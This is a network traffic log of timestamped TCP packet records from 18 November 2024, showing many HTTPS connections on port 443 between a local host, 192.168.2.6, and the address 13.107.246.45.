Nov 18, 2024 02:34:32.708218098 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.708336115 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.708354950 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.708364010 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.708374977 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.958062887 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.958611012 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.958622932 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.959129095 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.959135056 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.966769934 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.967070103 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.967094898 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:32.967700005 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:32.967708111 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.088579893 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.088643074 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.088757038 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.088897943 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.088897943 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.089093924 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.089116096 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.089131117 CET	49822	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.089138985 CET	443	49822	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.092216969 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.092247963 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.092705011 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.092705011 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.092736006 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.098306894 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.098459959 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.098522902 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.098572969 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.098583937 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.098594904 CET	49823	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.098599911 CET	443	49823	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.100959063 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.100981951 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.101059914 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.101238966 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.101250887 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.416852951 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.417337894 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.417349100 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.417926073 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.417932987 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.442830086 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.443392992 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.443404913 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.443969965 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.443977118 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.455224037 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.455647945 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.455676079 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.455996990 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.456002951 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.546727896 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.546896935 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.546969891 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.547003031 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.547013044 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.547024965 CET	49824	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.547029972 CET	443	49824	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.549413919 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.549468040 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.549539089 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.549650908 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.549666882 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.572025061 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.572113991 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.572182894 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.572391987 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.572391987 CET	49825	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.572403908 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.572415113 CET	443	49825	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.575339079 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.575376987 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.575437069 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.575613022 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.575625896 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585400105 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585464001 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585525990 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.585536003 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585580111 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585599899 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.585616112 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585627079 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.585627079 CET	49826	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.585632086 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.585639954 CET	443	49826	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.587614059 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.587631941 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.587692022 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.587790966 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.587802887 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.820346117 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.833851099 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.833869934 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.834173918 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.834182024 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.842938900 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.845444918 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.845458031 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.848839045 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.848843098 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.958262920 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.958353043 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.958434105 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.970310926 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.970310926 CET	49827	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.970328093 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.970340014 CET	443	49827	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.977114916 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.977189064 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.977263927 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.977274895 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.977298021 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.977375984 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.977854967 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.977855921 CET	49828	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.977864981 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.977874994 CET	443	49828	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.980035067 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.980072975 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.980139017 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.990474939 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:33.990523100 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:33.990603924 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.000547886 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.000576019 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.000637054 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.000653982 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.284907103 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.298877001 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.298899889 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.299839973 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.299988031 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.299998045 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.300746918 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.300766945 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.301454067 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.301457882 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.312697887 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.322690964 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.322715998 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.325925112 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.325939894 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.426973104 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.427062035 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.427167892 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.433497906 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.433497906 CET	49830	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.433520079 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.433528900 CET	443	49830	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.437422037 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.437500000 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.437577963 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.437714100 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.437746048 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.438812971 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.438976049 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.439044952 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.439096928 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.439096928 CET	49829	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.439124107 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.439136982 CET	443	49829	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.440927029 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.440965891 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.441026926 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.441148996 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.441167116 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.460222960 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.460381031 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.460457087 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.460489035 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.460489035 CET	49831	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.460498095 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.460508108 CET	443	49831	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.462462902 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.462508917 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.462584972 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.462724924 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.462740898 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.740971088 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.741394997 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.741430044 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.741833925 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.741842031 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.743053913 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.743536949 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.743573904 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.744025946 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.744041920 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.868985891 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.869155884 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.869215965 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.869303942 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.869329929 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.869347095 CET	49833	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.869354963 CET	443	49833	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.872566938 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.872670889 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.872745037 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.872785091 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.872839928 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.872984886 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.873255014 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.873305082 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.873354912 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.873442888 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.873442888 CET	49832	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.873478889 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.873503923 CET	443	49832	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.874496937 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.874520063 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.876157045 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.876199007 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:34.876274109 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.876408100 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:34.876427889 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.186187983 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.186783075 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.186846018 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.187361956 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.187375069 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.199139118 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.200336933 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.200367928 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.200782061 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.200788021 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.201977968 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.202475071 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.202493906 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.203114986 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.203120947 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.315290928 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.315366030 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.315428972 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.315644026 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.315686941 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.315715075 CET	49834	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.315731049 CET	443	49834	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.318243027 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.318285942 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.318357944 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.318502903 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.318521023 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.330302000 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.330414057 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.330461025 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.330476046 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.330522060 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.330569983 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.330667973 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.330667973 CET	49836	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.330682993 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.330696106 CET	443	49836	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.333134890 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.333214998 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.333295107 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.333439112 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.333472967 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.389260054 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.389456987 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.389581919 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.392147064 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.392188072 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.392215014 CET	49835	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.392230988 CET	443	49835	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.395220995 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.395309925 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.395404100 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.395530939 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.395550966 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.620313883 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.622304916 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.635740042 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.635756016 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.636254072 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.636259079 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.639105082 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.639118910 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.639837027 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.639842987 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.765306950 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.765470028 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.766463041 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.768007040 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.768084049 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.768805027 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.773781061 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.773786068 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.773828983 CET	49837	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.773834944 CET	443	49837	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.792160988 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.792167902 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:35.792181969 CET	49838	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:35.792186975 CET	443	49838	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.068329096 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.069473028 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.069523096 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.069664955 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.082046986 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.087678909 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.087726116 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.087872982 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.121397972 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.132608891 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.151618958 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.190819979 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.190830946 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.191550970 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.191555977 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.191695929 CET	49843	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.191708088 CET	443	49843	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.191930056 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.191945076 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.192436934 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.192442894 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.192682981 CET	49842	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.192703009 CET	443	49842	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.209347963 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.209355116 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.209763050 CET	49840	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.209767103 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.315815926 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.315985918 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.316541910 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.320518970 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.320615053 CET	443	49839	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.320681095 CET	49839	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.322683096 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.322683096 CET	49841	443	192.168.2.6	13.107.246.45
Nov 18, 2024 02:34:36.322701931 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.322725058 CET	443	49841	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.338028908 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.338093996 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.338206053 CET	443	49840	13.107.246.45	192.168.2.6
Nov 18, 2024 02:34:36.338278055 CET	49840	443	192.168.2.6	13.107.246.45
